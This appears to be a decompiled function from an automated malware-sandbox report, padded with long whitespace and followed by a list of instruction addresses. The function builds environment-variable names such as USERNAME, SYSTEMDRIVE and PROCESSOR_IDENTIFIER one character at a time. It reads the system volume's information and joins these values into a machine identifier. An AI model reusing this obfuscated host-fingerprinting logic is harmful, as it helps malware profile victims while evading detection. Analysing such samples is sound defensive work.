                                                                                                                                                                                                                                                                                                      				_v150 = 0x52;
                                                                                                                                                                                                                                                                                                      				_v148 = 0x4e;
                                                                                                                                                                                                                                                                                                      				_v146 = 0x41;
                                                                                                                                                                                                                                                                                                      				_v144 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v142 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v140 = 0;
                                                                                                                                                                                                                                                                                                      				_v68 = 0;
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				_t340 = E0040D620( &_v164,  &_v68); // executed
                                                                                                                                                                                                                                                                                                      				_t661 = _t660 + 8;
                                                                                                                                                                                                                                                                                                      				if(_t340 == 0) {
                                                                                                                                                                                                                                                                                                      					L9:
                                                                                                                                                                                                                                                                                                      					_v112 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v110 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v108 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v106 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v104 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v102 = 0x41;
                                                                                                                                                                                                                                                                                                      					_v100 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v98 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v96 = 0;
                                                                                                                                                                                                                                                                                                      					_v72 = 0;
                                                                                                                                                                                                                                                                                                      					_v24 = 0;
                                                                                                                                                                                                                                                                                                      					_t345 = E0040D620( &_v112,  &_v72); // executed
                                                                                                                                                                                                                                                                                                      					_t662 = _t661 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t345 != 0) {
                                                                                                                                                                                                                                                                                                      						_t564 = _v72;
                                                                                                                                                                                                                                                                                                      						_t477 = E0040BB40(_v72, _v72);
                                                                                                                                                                                                                                                                                                      						_t673 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      						_v24 = _t477;
                                                                                                                                                                                                                                                                                                      						if(_v24 != 0) {
                                                                                                                                                                                                                                                                                                      							_t480 = E00407850( &_v12, _v24); // executed
                                                                                                                                                                                                                                                                                                      							_t673 = _t673 + 8;
                                                                                                                                                                                                                                                                                                      							if(_t480 != 0 && _v24 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v72);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t564 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E00407700(_t564, _v72); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t673 + 4;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v136 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v134 = 0x59;
                                                                                                                                                                                                                                                                                                      					_v132 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v130 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v128 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v126 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v124 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v122 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v120 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v118 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v116 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v114 = 0;
                                                                                                                                                                                                                                                                                                      					_v40 = 0;
                                                                                                                                                                                                                                                                                                      					_v88 = 0;
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)(E004016E0() + 0xd4)) != 0) {
                                                                                                                                                                                                                                                                                                      						_t553 =  &_v136;
                                                                                                                                                                                                                                                                                                      						_t443 = E0040D620( &_v136,  &_v40); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t443 != 0) {
                                                                                                                                                                                                                                                                                                      							_t444 = E0040BB40( &_v136, _v40);
                                                                                                                                                                                                                                                                                                      							_t672 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      							_v88 = _t444;
                                                                                                                                                                                                                                                                                                      							if(_v88 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v348);
                                                                                                                                                                                                                                                                                                      								_t553 = _v40;
                                                                                                                                                                                                                                                                                                      								_push(_v40);
                                                                                                                                                                                                                                                                                                      								if(( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      									_v372 = 0x18;
                                                                                                                                                                                                                                                                                                      									_v368 = 0;
                                                                                                                                                                                                                                                                                                      									_v360 = 0x40;
                                                                                                                                                                                                                                                                                                      									_v364 =  &_v348;
                                                                                                                                                                                                                                                                                                      									_v356 = 0;
                                                                                                                                                                                                                                                                                                      									_v352 = 0;
                                                                                                                                                                                                                                                                                                      									_push(8);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push( &_v340);
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      									_v80 = 0;
                                                                                                                                                                                                                                                                                                      									E004016E0();
                                                                                                                                                                                                                                                                                                      									_t455 = NtCreateFile( &_v80, 0x100001,  &_v372,  &_v340, 0, 0x80, 1, 1, 0, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      									_v328 = _t455;
                                                                                                                                                                                                                                                                                                      									if(_v328 >= 0) {
                                                                                                                                                                                                                                                                                                      										_push(8);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v340);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										_push(0x18);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v396);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										E004016E0();
                                                                                                                                                                                                                                                                                                      										_t468 = NtQueryVolumeInformationFile(_v80,  &_v340,  &_v396, 0x18, 1); // executed
                                                                                                                                                                                                                                                                                                      										_v332 = _t468;
                                                                                                                                                                                                                                                                                                      										if(_v332 >= 0) {
                                                                                                                                                                                                                                                                                                      											_t472 = E00407850( &_v12, _v8 + 8); // executed
                                                                                                                                                                                                                                                                                                      											_t672 = _t672 + 8;
                                                                                                                                                                                                                                                                                                      											if(_t472 != 0) {
                                                                                                                                                                                                                                                                                                      												_push(_v388);
                                                                                                                                                                                                                                                                                                      												_push(0x414024);
                                                                                                                                                                                                                                                                                                      												_push(_v12 + _v8 * 2);
                                                                                                                                                                                                                                                                                                      												 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x150))))();
                                                                                                                                                                                                                                                                                                      												_t672 = _t672 + 0xc;
                                                                                                                                                                                                                                                                                                      												_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										_push(_v80);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      									_t458 = E004016E0();
                                                                                                                                                                                                                                                                                                      									_t553 =  *((intOrPtr*)(_t458 + 0x28));
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28))))( *((intOrPtr*)(E0040D560() + 0x18)), 0, _v344);
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E00407700(_t553, _v40); // executed
                                                                                                                                                                                                                                                                                                      							_t662 = _t672 + 4;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v280 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v278 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v276 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v274 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v272 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v270 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v268 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v266 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v264 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v262 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v260 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v258 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v256 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v254 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v252 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v250 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v248 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v246 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v244 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v242 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v240 = 0;
                                                                                                                                                                                                                                                                                                      					_v196 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v194 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v192 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v190 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v188 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v186 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v184 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v182 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v180 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v178 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v176 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v174 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v172 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v170 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v168 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v166 = 0;
                                                                                                                                                                                                                                                                                                      					_v324 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v322 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v320 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v318 = 0x42;
                                                                                                                                                                                                                                                                                                      					_v316 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v314 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v312 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v310 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v308 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v306 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v304 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v302 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v300 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v298 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v296 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v294 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v292 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v290 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v288 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v286 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v284 = 0;
                                                                                                                                                                                                                                                                                                      					_v236 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v234 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v232 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v230 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v228 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v226 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v224 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v222 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v220 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v218 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v216 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v214 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v212 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v210 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v208 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v206 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v204 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v202 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v200 = 0;
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v64 = 0;
                                                                                                                                                                                                                                                                                                      					_t378 = E0040D620( &_v280,  &_v36); // executed
                                                                                                                                                                                                                                                                                                      					_t663 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t378 != 0) {
                                                                                                                                                                                                                                                                                                      						_t441 = E0040BB40(_v36, _v36);
                                                                                                                                                                                                                                                                                                      						_t663 = _t663 + 4;
                                                                                                                                                                                                                                                                                                      						_v64 = _t441;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v44 = 0;
                                                                                                                                                                                                                                                                                                      					_v48 = 0;
                                                                                                                                                                                                                                                                                                      					_t380 = E0040D620( &_v196,  &_v44); // executed
                                                                                                                                                                                                                                                                                                      					_t664 = _t663 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t380 != 0) {
                                                                                                                                                                                                                                                                                                      						_t440 = E0040BB40(_v44, _v44);
                                                                                                                                                                                                                                                                                                      						_t664 = _t664 + 4;
                                                                                                                                                                                                                                                                                                      						_v48 = _t440;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v76 = 0;
                                                                                                                                                                                                                                                                                                      					_v56 = 0;
                                                                                                                                                                                                                                                                                                      					_t382 = E0040D620(_v76,  &_v76);
                                                                                                                                                                                                                                                                                                      					_t665 = _t664 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t382 != 0) {
                                                                                                                                                                                                                                                                                                      						_t439 = E0040BB40(_v76, _v76);
                                                                                                                                                                                                                                                                                                      						_t665 = _t665 + 4;
                                                                                                                                                                                                                                                                                                      						_v56 = _t439;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v52 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_t384 = E0040D620( &_v236,  &_v52); // executed
                                                                                                                                                                                                                                                                                                      					_t666 = _t665 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t384 != 0) {
                                                                                                                                                                                                                                                                                                      						_t438 = E0040BB40(_v52, _v52);
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v32 = _t438;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_t615 = _v64 + _v48 + _v56 + _v32;
                                                                                                                                                                                                                                                                                                      					_v92 = _t615;
                                                                                                                                                                                                                                                                                                      					if(_t615 != 0) {
                                                                                                                                                                                                                                                                                                      						_t545 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t419 = E00407850( &_v12, _v8 + _v92); // executed
                                                                                                                                                                                                                                                                                                      						_t669 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t419 != 0) {
                                                                                                                                                                                                                                                                                                      							if(_v64 != 0) {
                                                                                                                                                                                                                                                                                                      								_t436 = E004016E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t436 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t436 + 0x134))))(_v12, _v36);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v64;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v48 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v44);
                                                                                                                                                                                                                                                                                                      								_t545 = _v12;
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v48;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v56 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v76);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t545 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v32 != 0) {
                                                                                                                                                                                                                                                                                                      								_t425 = E004016E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t425 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t425 + 0x134))))(_v12, _v52);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v32;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E00407700(_t545, _v36); // executed
                                                                                                                                                                                                                                                                                                      						E00407700(_v44, _v44); // executed
                                                                                                                                                                                                                                                                                                      						E00407700(_v44, _v52); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t669 + 0xc;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_t407 = E00407850( &_v12, _v8 + 3); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t407 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E0040D560() + 0xa4) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E0040D560() + 0xa8) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = (E0040EC60() & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_v16 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x29c))))();
                                                                                                                                                                                                                                                                                                      					if(_v16 <= 0) {
                                                                                                                                                                                                                                                                                                      						L57:
                                                                                                                                                                                                                                                                                                      						if(_v8 != 0 && _v12 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = 0;
                                                                                                                                                                                                                                                                                                      							 *_a4 = _v12;
                                                                                                                                                                                                                                                                                                      							 *_a8 = _v8;
                                                                                                                                                                                                                                                                                                      							_v84 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						return _v84;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_t392 = E00407460(_v16 << 2); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v28 = _t392;
                                                                                                                                                                                                                                                                                                      						if(_v28 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 = _v28;
                                                                                                                                                                                                                                                                                                      						_push(_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v16);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x29c))))() != _v16) {
                                                                                                                                                                                                                                                                                                      							L56:
                                                                                                                                                                                                                                                                                                      							E00407700(_t534, _v28); // executed
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t399 = E00407850( &_v12, _v8 + _v16 * 8); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t667 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t399 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L56;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v60 = 0;
                                                                                                                                                                                                                                                                                                      						while(_v60 < _v16) {
                                                                                                                                                                                                                                                                                                      							_t403 = E004016E0();
                                                                                                                                                                                                                                                                                                      							_t534 =  *((intOrPtr*)(_t403 + 0x150));
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(_t403 + 0x150))))(_v12 + _v8 * 2, 0x414030,  *((intOrPtr*)(_v28 + _v60 * 4)));
                                                                                                                                                                                                                                                                                                      							_t667 = _t667 + 0xc;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      							_v60 = _v60 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						goto L56;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_t485 = E0040BB40( &_v68, _v68);
                                                                                                                                                                                                                                                                                                      					_t674 = _t661 + 4;
                                                                                                                                                                                                                                                                                                      					_v20 = _t485;
                                                                                                                                                                                                                                                                                                      					if(_v20 != 0) {
                                                                                                                                                                                                                                                                                                      						_t487 = E00407850( &_v12, _v20); // executed
                                                                                                                                                                                                                                                                                                      						_t674 = _t674 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t487 != 0 && _v20 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(_v68);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x12c))))();
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + _v20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E00407700(_v68, _v68); // executed
                                                                                                                                                                                                                                                                                                      					_t661 = _t674 + 4;
                                                                                                                                                                                                                                                                                                      					goto L9;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}





























































































































































































                                                                                                                                                                                                                                                                                                      0x00404a09
                                                                                                                                                                                                                                                                                                      0x00404a14
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00404a1c
                                                                                                                                                                                                                                                                                                      0x00404a24
                                                                                                                                                                                                                                                                                                      0x00404a2b
                                                                                                                                                                                                                                                                                                      0x00404a37
                                                                                                                                                                                                                                                                                                      0x00404a43
                                                                                                                                                                                                                                                                                                      0x00404a4f
                                                                                                                                                                                                                                                                                                      0x00404a5b
                                                                                                                                                                                                                                                                                                      0x00404a67
                                                                                                                                                                                                                                                                                                      0x00404a73
                                                                                                                                                                                                                                                                                                      0x00404a7f
                                                                                                                                                                                                                                                                                                      0x00404a8b
                                                                                                                                                                                                                                                                                                      0x00404a97
                                                                                                                                                                                                                                                                                                      0x00404aa3
                                                                                                                                                                                                                                                                                                      0x00404aaf
                                                                                                                                                                                                                                                                                                      0x00404abb
                                                                                                                                                                                                                                                                                                      0x00404ac4
                                                                                                                                                                                                                                                                                                      0x00404acb
                                                                                                                                                                                                                                                                                                      0x00404ad2
                                                                                                                                                                                                                                                                                                      0x00404ae4
                                                                                                                                                                                                                                                                                                      0x00404ae9
                                                                                                                                                                                                                                                                                                      0x00404aee
                                                                                                                                                                                                                                                                                                      0x00404b49
                                                                                                                                                                                                                                                                                                      0x00404b4e
                                                                                                                                                                                                                                                                                                      0x00404b57
                                                                                                                                                                                                                                                                                                      0x00404b60
                                                                                                                                                                                                                                                                                                      0x00404b69
                                                                                                                                                                                                                                                                                                      0x00404b72
                                                                                                                                                                                                                                                                                                      0x00404b7b
                                                                                                                                                                                                                                                                                                      0x00404b84
                                                                                                                                                                                                                                                                                                      0x00404b8d
                                                                                                                                                                                                                                                                                                      0x00404b93
                                                                                                                                                                                                                                                                                                      0x00404b97
                                                                                                                                                                                                                                                                                                      0x00404b9e
                                                                                                                                                                                                                                                                                                      0x00404bad
                                                                                                                                                                                                                                                                                                      0x00404bb2
                                                                                                                                                                                                                                                                                                      0x00404bb7
                                                                                                                                                                                                                                                                                                      0x00404bb9
                                                                                                                                                                                                                                                                                                      0x00404bbd
                                                                                                                                                                                                                                                                                                      0x00404bc2
                                                                                                                                                                                                                                                                                                      0x00404bc5
                                                                                                                                                                                                                                                                                                      0x00404bcc
                                                                                                                                                                                                                                                                                                      0x00404bd6
                                                                                                                                                                                                                                                                                                      0x00404bdb
                                                                                                                                                                                                                                                                                                      0x00404be0
                                                                                                                                                                                                                                                                                                      0x00404beb
                                                                                                                                                                                                                                                                                                      0x00404bef
                                                                                                                                                                                                                                                                                                      0x00404bfb
                                                                                                                                                                                                                                                                                                      0x00404c00
                                                                                                                                                                                                                                                                                                      0x00404c03
                                                                                                                                                                                                                                                                                                      0x00404c03
                                                                                                                                                                                                                                                                                                      0x00404be0
                                                                                                                                                                                                                                                                                                      0x00404c0a
                                                                                                                                                                                                                                                                                                      0x00404c0f
                                                                                                                                                                                                                                                                                                      0x00404c0f
                                                                                                                                                                                                                                                                                                      0x00404c17
                                                                                                                                                                                                                                                                                                      0x00404c23
                                                                                                                                                                                                                                                                                                      0x00404c2f
                                                                                                                                                                                                                                                                                                      0x00404c38
                                                                                                                                                                                                                                                                                                      0x00404c41
                                                                                                                                                                                                                                                                                                      0x00404c4a
                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                      0x00404c5c
                                                                                                                                                                                                                                                                                                      0x00404c65
                                                                                                                                                                                                                                                                                                      0x00404c6e
                                                                                                                                                                                                                                                                                                      0x00404c77
                                                                                                                                                                                                                                                                                                      0x00404c7d
                                                                                                                                                                                                                                                                                                      0x00404c81
                                                                                                                                                                                                                                                                                                      0x00404c88
                                                                                                                                                                                                                                                                                                      0x00404c9b
                                                                                                                                                                                                                                                                                                      0x00404ca5
                                                                                                                                                                                                                                                                                                      0x00404cac
                                                                                                                                                                                                                                                                                                      0x00404cb1
                                                                                                                                                                                                                                                                                                      0x00404cb6
                                                                                                                                                                                                                                                                                                      0x00404cc0
                                                                                                                                                                                                                                                                                                      0x00404cc5
                                                                                                                                                                                                                                                                                                      0x00404cc8
                                                                                                                                                                                                                                                                                                      0x00404ccf
                                                                                                                                                                                                                                                                                                      0x00404cd5
                                                                                                                                                                                                                                                                                                      0x00404cd7
                                                                                                                                                                                                                                                                                                      0x00404cdf
                                                                                                                                                                                                                                                                                                      0x00404ce0
                                                                                                                                                                                                                                                                                                      0x00404ce3
                                                                                                                                                                                                                                                                                                      0x00404cf6
                                                                                                                                                                                                                                                                                                      0x00404cfc
                                                                                                                                                                                                                                                                                                      0x00404d06
                                                                                                                                                                                                                                                                                                      0x00404d10
                                                                                                                                                                                                                                                                                                      0x00404d20
                                                                                                                                                                                                                                                                                                      0x00404d26
                                                                                                                                                                                                                                                                                                      0x00404d30
                                                                                                                                                                                                                                                                                                      0x00404d3a
                                                                                                                                                                                                                                                                                                      0x00404d3c
                                                                                                                                                                                                                                                                                                      0x00404d44
                                                                                                                                                                                                                                                                                                      0x00404d4d
                                                                                                                                                                                                                                                                                                      0x00404d4f
                                                                                                                                                                                                                                                                                                      0x00404d7e
                                                                                                                                                                                                                                                                                                      0x00404d89
                                                                                                                                                                                                                                                                                                      0x00404d8b
                                                                                                                                                                                                                                                                                                      0x00404d98
                                                                                                                                                                                                                                                                                                      0x00404d9e
                                                                                                                                                                                                                                                                                                      0x00404da0
                                                                                                                                                                                                                                                                                                      0x00404da8
                                                                                                                                                                                                                                                                                                      0x00404db1
                                                                                                                                                                                                                                                                                                      0x00404db3
                                                                                                                                                                                                                                                                                                      0x00404db5
                                                                                                                                                                                                                                                                                                      0x00404dbd
                                                                                                                                                                                                                                                                                                      0x00404dc6
                                                                                                                                                                                                                                                                                                      0x00404dde
                                                                                                                                                                                                                                                                                                      0x00404de9
                                                                                                                                                                                                                                                                                                      0x00404deb
                                                                                                                                                                                                                                                                                                      0x00404df8
                                                                                                                                                                                                                                                                                                      0x00404e05
                                                                                                                                                                                                                                                                                                      0x00404e0a
                                                                                                                                                                                                                                                                                                      0x00404e0f
                                                                                                                                                                                                                                                                                                      0x00404e17
                                                                                                                                                                                                                                                                                                      0x00404e18
                                                                                                                                                                                                                                                                                                      0x00404e26
                                                                                                                                                                                                                                                                                                      0x00404e32
                                                                                                                                                                                                                                                                                                      0x00404e34
                                                                                                                                                                                                                                                                                                      0x00404e3d
